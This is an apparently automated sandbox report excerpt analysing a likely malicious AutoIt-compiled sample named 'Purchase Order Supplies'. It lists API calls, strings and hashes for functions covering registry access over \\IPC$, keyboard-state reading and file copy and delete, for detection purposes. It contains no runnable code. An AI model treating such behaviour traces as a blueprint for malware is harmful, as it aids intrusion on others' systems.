SelectObject.GDI32(00000006,?), ref: 00CEA3BE
DeleteObject.GDI32(?), ref: 00CEA3C7
DeleteDC.GDI32(00000006), ref: 00CEA3CE
ReleaseDC.USER32(00000000,?), ref: 00CEA3D9

Strings

(, xrefs: 00CEA37E

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: 9978da1fd063fd28c33cab5bda2fece7463f71f2d72ededf06921f0b412dddbd
Instruction ID: e1ac2d1ace55b4953f89d565fed00e831ac2abbe4093af1d801ee1f7267b1208
Opcode Fuzzy Hash: 9978da1fd063fd28c33cab5bda2fece7463f71f2d72ededf06921f0b412dddbd
Instruction Fuzzy Hash: F6514975900349AFCB14CFA9CC84EAEBBB9EF48310F14841DF95AA7310C731A9418B60

Function 00CDD520 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 144COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF), ref: 00CDD567

Part of subcall function 00C9CAEE: _memmove.LIBCMT ref: 00C9CB2F

LoadStringW.USER32(?,?,00000FFF,?), ref: 00CDD589
__swprintf.LIBCMT ref: 00CDD5DC
_wprintf.LIBCMT ref: 00CDD68D
_wprintf.LIBCMT ref: 00CDD6AB

Strings

"%s" (%d) : ==> %s:%s%s, xrefs: 00CDD688
Error: , xrefs: 00CDD657
^ ERROR, xrefs: 00CDD631
Line %d (File "%s"):, xrefs: 00CDD5D6
"%s" (%d) : ==> %s:, xrefs: 00CDD6A6

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: LoadString_wprintf$__swprintf_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 2116804098-2391861430
Opcode ID: 897b8b671e4163b5cb439548bb682b9bcbd9d1a22bcbd9f01c09bb4c748a17ff
Instruction ID: b6255ca899f30fc56cecd0c77e5d31feaf1267fb2b6b324e600daaf82f1ed88f
Opcode Fuzzy Hash: 897b8b671e4163b5cb439548bb682b9bcbd9d1a22bcbd9f01c09bb4c748a17ff
Instruction Fuzzy Hash: DA51B471800209BBCF15EBA4DD46EEEB779AF14300F104566F606B21A1EF719F58EBA0

Function 00CDD338 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 140COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,00000016), ref: 00CDD37F

Part of subcall function 00C9CAEE: _memmove.LIBCMT ref: 00C9CB2F

LoadStringW.USER32(00000072,?,00000FFF,?), ref: 00CDD3A0
__swprintf.LIBCMT ref: 00CDD3F3
_wprintf.LIBCMT ref: 00CDD499
_wprintf.LIBCMT ref: 00CDD4B7

Strings

"%s" (%d) : ==> %s:%s%s, xrefs: 00CDD494
^ ERROR , xrefs: 00CDD432
Error: , xrefs: 00CDD463
Line %d (File "%s"):, xrefs: 00CDD3ED
"%s" (%d) : ==> %s:, xrefs: 00CDD4B2

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: LoadString_wprintf$__swprintf_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 2116804098-3420473620
Opcode ID: b3e99cccad86f97321b4d8f86b59dbcf998a98bc98c1f7dade56a8724c2fb0cf
Instruction ID: 70632120c54730e6ee37f9f55db9dd0ee8d160aa4cf9c6a9151418c2c36904c2
Opcode Fuzzy Hash: b3e99cccad86f97321b4d8f86b59dbcf998a98bc98c1f7dade56a8724c2fb0cf
Instruction Fuzzy Hash: 0051C372800209BBCF15EBA4DD46EEEB779AF14700F104166F206B21A1EB756F58EB61

Function 00CCAEE5 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 127registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 00C97E53: _memmove.LIBCMT ref: 00C97EB9

_memset.LIBCMT ref: 00CCAF74
WNetAddConnection2W.MPR(?,?,?,00000000), ref: 00CCAFA9
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 00CCAFC5
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 00CCAFE1
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00CCB00B
CLSIDFromString.COMBASE(?,?), ref: 00CCB033
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00CCB03E
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00CCB043

Strings

\CLSID, xrefs: 00CCAF2B
\IPC$, xrefs: 00CCAF8B
SOFTWARE\Classes\, xrefs: 00CCAF15

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memmove_memset
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 1411258926-22481851
Opcode ID: 4d03df6bd9be36ea314505b0a241ef8ede4c5f80c7e893617b7917b163d02b19
Instruction ID: 5b1b9506d20104efafa5e7491d6b96b2c2d600bc57dbaa847798cb4ca1b7dbf1
Opcode Fuzzy Hash: 4d03df6bd9be36ea314505b0a241ef8ede4c5f80c7e893617b7917b163d02b19
Instruction Fuzzy Hash: 44410876C1022DABCF11EBA4DC89DEEB779BF18704F404169F911A21A0EB709E05DF60

Function 00CF3AF7 Relevance: 19.4, APIs: 1, Strings: 10, Instructions: 109COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,00CF2AA6,?,?), ref: 00CF3B0E

Strings

HKCU, xrefs: 00CF3BE4
HKEY_CURRENT_USER, xrefs: 00CF3BD3
HKCC, xrefs: 00CF3BC2
HKCR, xrefs: 00CF3B9C
HKU, xrefs: 00CF3C06
HKEY_CLASSES_ROOT, xrefs: 00CF3B87
HKEY_LOCAL_MACHINE, xrefs: 00CF3B5D
HKEY_USERS, xrefs: 00CF3BF5
HKEY_CURRENT_CONFIG, xrefs: 00CF3BB1
HKLM, xrefs: 00CF3B72

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 3964851224-909552448
Opcode ID: 63c0aebc7b5711d74f588a50a197418826eb66eafa6ab5134b8c008aba4497d6
Instruction ID: 4f77ce1cafcc0530232dc96d056ceaaef4f4dd3060b0010dcef118f1eb081077
Opcode Fuzzy Hash: 63c0aebc7b5711d74f588a50a197418826eb66eafa6ab5134b8c008aba4497d6
Instruction Fuzzy Hash: 0941AB3410028EABCF44EF44D841BFA3361BF17394F154928EDA16B295DB349E4ADBB2

Function 00CD83D6 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 73COMMON

Download Yara Rule

APIs

Part of subcall function 00C97E53: _memmove.LIBCMT ref: 00C97EB9

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00CD843F
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00CD8455
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00CD8466
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00CD8478
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 00CD8489

Strings

play PlayMe, xrefs: 00CD8484
play PlayMe wait, xrefs: 00CD8473
status PlayMe mode, xrefs: 00CD843A
alias PlayMe, xrefs: 00CD8418
close PlayMe, xrefs: 00CD8450, 00CD847D
open , xrefs: 00CD83EE

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: SendString$_memmove
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2279737902-1007645807
Opcode ID: 2f45239146f5da8740b28c1541a9a51446856e6b94fc128623522a6e468a9ba9
Instruction ID: ed98d3a2db3d3026405a6bb7dc7b69a1fe3a64c4eddb6f462756c1492c3d73b3
Opcode Fuzzy Hash: 2f45239146f5da8740b28c1541a9a51446856e6b94fc128623522a6e468a9ba9
Instruction Fuzzy Hash: 0A11A761A502AD7EDB20A7A5DC5ADFFBB7CEB91B00F44042AB511A21D1DEA05E4CC5B0

Function 00CD8097 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00CD809C

Part of subcall function 00CAE3A5: timeGetTime.WINMM(?,7697B400,00D06163), ref: 00CAE3A9

Sleep.KERNEL32(0000000A), ref: 00CD80C8
EnumThreadWindows.USER32(?,Function_0004804C,00000000), ref: 00CD80EC
FindWindowExW.USER32(?,00000000,BUTTON,00000000), ref: 00CD810E
SetActiveWindow.USER32 ref: 00CD812D
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00CD813B
SendMessageW.USER32(00000010,00000000,00000000), ref: 00CD815A
Sleep.KERNEL32(000000FA), ref: 00CD8165
IsWindow.USER32 ref: 00CD8171
EndDialog.USER32(00000000), ref: 00CD8182

Strings

BUTTON, xrefs: 00CD8100

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: e1e2b50bb142d905d432a8f610c3752060ad8f253f79d17eceef71bef6968298
Instruction ID: 3b2551b8547df8bd93b1baa3874047ac561c7adc128c170dc189ec9c2419cf44
Opcode Fuzzy Hash: e1e2b50bb142d905d432a8f610c3752060ad8f253f79d17eceef71bef6968298
Instruction Fuzzy Hash: 17218E70240305BFE7225B62EC89A7A7B6BF7153CAB444116FA11C23A1CF725E0EA731

Function 00CD32B0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 72windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,00D03C64,00000010,00000000,Bad directive syntax error,00D2DBF0,00000000,?,00000000,?,>>>AUTOIT SCRIPT<<<), ref: 00CD32D1
LoadStringW.USER32(00000000,?,00D03C64,00000010), ref: 00CD32D8

Part of subcall function 00C9CAEE: _memmove.LIBCMT ref: 00C9CB2F

_wprintf.LIBCMT ref: 00CD3309
__swprintf.LIBCMT ref: 00CD332B
MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 00CD3395

Strings

Line %d (File "%s"):, xrefs: 00CD333B
Error: , xrefs: 00CD3363
%s (%d) : ==> %s.: %s %s, xrefs: 00CD3304
., xrefs: 00CD337B
Line %d:, xrefs: 00CD3325

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: HandleLoadMessageModuleString__swprintf_memmove_wprintf
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 1506413516-4153970271
Opcode ID: 3edec60969c5084e47f8d552e6aae474b78159304bdb70a14f75706d31623bf2
Instruction ID: ba3d26cf17e037bb5cf4cff52569ff42ef0358834db06aca8a411d17d93869d7
Opcode Fuzzy Hash: 3edec60969c5084e47f8d552e6aae474b78159304bdb70a14f75706d31623bf2
Instruction Fuzzy Hash: 72213B31840259BBDF12AF90CC4AEEE7779BF28700F004456F515A10A1EB75AA58EB61

Function 00CDC890 Relevance: 18.3, APIs: 12, Instructions: 316fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00CDC6A0: __time64.LIBCMT ref: 00CDC6AA

Part of subcall function 00C941A7: _fseek.LIBCMT ref: 00C941BF

__wsplitpath.LIBCMT ref: 00CDC96F

Part of subcall function 00CB297D: __wsplitpath_helper.LIBCMT ref: 00CB29BD

_wcscpy.LIBCMT ref: 00CDC982
_wcscat.LIBCMT ref: 00CDC995
__wsplitpath.LIBCMT ref: 00CDC9BA
_wcscat.LIBCMT ref: 00CDC9D0
_wcscat.LIBCMT ref: 00CDC9E3

Part of subcall function 00CDC6E4: _memmove.LIBCMT ref: 00CDC71D
Part of subcall function 00CDC6E4: _memmove.LIBCMT ref: 00CDC72C

_wcscmp.LIBCMT ref: 00CDC92A

Part of subcall function 00CDCE59: _wcscmp.LIBCMT ref: 00CDCF49
Part of subcall function 00CDCE59: _wcscmp.LIBCMT ref: 00CDCF5C

DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 00CDCB8D
DeleteFileW.KERNEL32(?,?,?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00CDCC24
CopyFileW.KERNEL32(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00CDCC3A
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00CDCC4B
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00CDCC5D

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: File$Delete$_wcscat_wcscmp$__wsplitpath_memmove$Copy__time64__wsplitpath_helper_fseek_wcscpy
String ID:
API String ID: 152968663-0
Opcode ID: 85a629b5e04ae786607e0e36a796208aa087ce1780be1ac849e519ea8ceec392
Instruction ID: 99a998cd9908eabfb62a6de070f8cfa2c157a2694fddb7382d9284cb972d4626
Opcode Fuzzy Hash: 85a629b5e04ae786607e0e36a796208aa087ce1780be1ac849e519ea8ceec392
Instruction Fuzzy Hash: 61C12BB1D00229AECF14DF95CC81EDEBBBDAF59310F0040AAF609E6251DB709A85DF65

Function 00CE08D9 Relevance: 18.2, APIs: 12, Instructions: 196COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00CE090D
_memset.LIBCMT ref: 00CE0928
CoInitialize.OLE32(00000000), ref: 00CE093B
SHGetMalloc.SHELL32(?), ref: 00CE0945
CoUninitialize.COMBASE ref: 00CE094F
_wcscpy.LIBCMT ref: 00CE0993
SHGetDesktopFolder.SHELL32(?), ref: 00CE09F5
_wcscpy.LIBCMT ref: 00CE0A1B
_wcscpy.LIBCMT ref: 00CE0A77
SHBrowseForFolderW.SHELL32 ref: 00CE0AA2
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00CE0AC5
CoUninitialize.COMBASE ref: 00CE0B11

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: _wcscpy$FolderUninitialize_memset$BrowseDesktopFromInitializeListMallocPath
String ID:
API String ID: 3566271842-0
Opcode ID: d3be6798917c3a6f387e3faf73bb2decb86f959495c0cc50fc3fe5d94ebf38b8
Instruction ID: 167ccf2a2c9578b9f649b3280b3f1743b17434555b9454b9bc776aa9efe0203f
Opcode Fuzzy Hash: d3be6798917c3a6f387e3faf73bb2decb86f959495c0cc50fc3fe5d94ebf38b8
Instruction Fuzzy Hash: EC713D75A00219AFDB10DFA5C888ADEB7B9EF48310F148095E919EB251DB74EE41DF90

Function 00CD388D Relevance: 18.2, APIs: 12, Instructions: 185keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00CD3908
SetKeyboardState.USER32(?), ref: 00CD3973
GetAsyncKeyState.USER32(000000A0), ref: 00CD3993
GetKeyState.USER32(000000A0), ref: 00CD39AA
GetAsyncKeyState.USER32(000000A1), ref: 00CD39D9
GetKeyState.USER32(000000A1), ref: 00CD39EA
GetAsyncKeyState.USER32(00000011), ref: 00CD3A16
GetKeyState.USER32(00000011), ref: 00CD3A24
GetAsyncKeyState.USER32(00000012), ref: 00CD3A4D
GetKeyState.USER32(00000012), ref: 00CD3A5B
GetAsyncKeyState.USER32(0000005B), ref: 00CD3A84
GetKeyState.USER32(0000005B), ref: 00CD3A92

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 333edd8cab11202d018ce34825fe97a708ab51d5b527648fc1f0bac17387e94a
Instruction ID: 9904efdffd3a9b88f60eedcad46c87b67119cea272cc9dd59cc0607f1ab3d982
Opcode Fuzzy Hash: 333edd8cab11202d018ce34825fe97a708ab51d5b527648fc1f0bac17387e94a
Instruction Fuzzy Hash: A1518420A047C469FB35EBA488117AABBB45F01340F08859FD7D65A3C2DB649B8CD767

Function 00CCFAFD Relevance: 18.2, APIs: 12, Instructions: 174COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 00CCFB19
GetWindowRect.USER32(00000000,?), ref: 00CCFB2B
MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 00CCFB89
GetDlgItem.USER32(?,00000002), ref: 00CCFB94
GetWindowRect.USER32(00000000,?), ref: 00CCFBA6
MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 00CCFBFC
GetDlgItem.USER32(?,000003E9), ref: 00CCFC0A
GetWindowRect.USER32(00000000,?), ref: 00CCFC1B
MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 00CCFC5E
GetDlgItem.USER32(?,000003EA), ref: 00CCFC6C
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 00CCFC89
InvalidateRect.USER32(?,00000000,00000001), ref: 00CCFC96

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: 2632b348b7fea85a6483cbe90bf9c53321bb488bbd919db8e88cd9af7d9c0375
Instruction ID: 23a800348e1e66f3f6561081213eaf7a911b264e05981365ad221096c3afd921
Opcode Fuzzy Hash: 2632b348b7fea85a6483cbe90bf9c53321bb488bbd919db8e88cd9af7d9c0375
Instruction Fuzzy Hash: 5551FE71B00209BFDB18CF69DD95FAEBBBAEB88710F14812DF915D6290DB709E018B10

Function 00CAB039 Relevance: 18.1, APIs: 12, Instructions: 131COMMON

Download Yara Rule

APIs

Part of subcall function 00CAB155: GetWindowLongW.USER32(?,000000EB), ref: 00CAB166

GetSysColor.USER32(0000000F), ref: 00CAB067

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: 18c1c51edddf25e2aa0c8f228f057f05ff6fb5ed579f366de81fa84583295449
Instruction ID: bd8ac3567dc589ffc2a1f1773d6c2b0eb7ff907e5984c176f929e96d8a77b249
Opcode Fuzzy Hash: 18c1c51edddf25e2aa0c8f228f057f05ff6fb5ed579f366de81fa84583295449
Instruction Fuzzy Hash: 1941A371100611BFDB205F38D848BBA3B66AB07725F184265FE758E2E6D7318D42DB31

Function 00CD7334 Relevance: 18.1, APIs: 12, Instructions: 113COMMON

Download Yara Rule

APIs

_wcschr.LIBCMT ref: 00CD734C
_wcscpy.LIBCMT ref: 00CD735D
__wsplitpath.LIBCMT ref: 00CD7384
__wsplitpath.LIBCMT ref: 00CD73A8
_wcscpy.LIBCMT ref: 00CD73CA
_wcscpy.LIBCMT ref: 00CD73E8
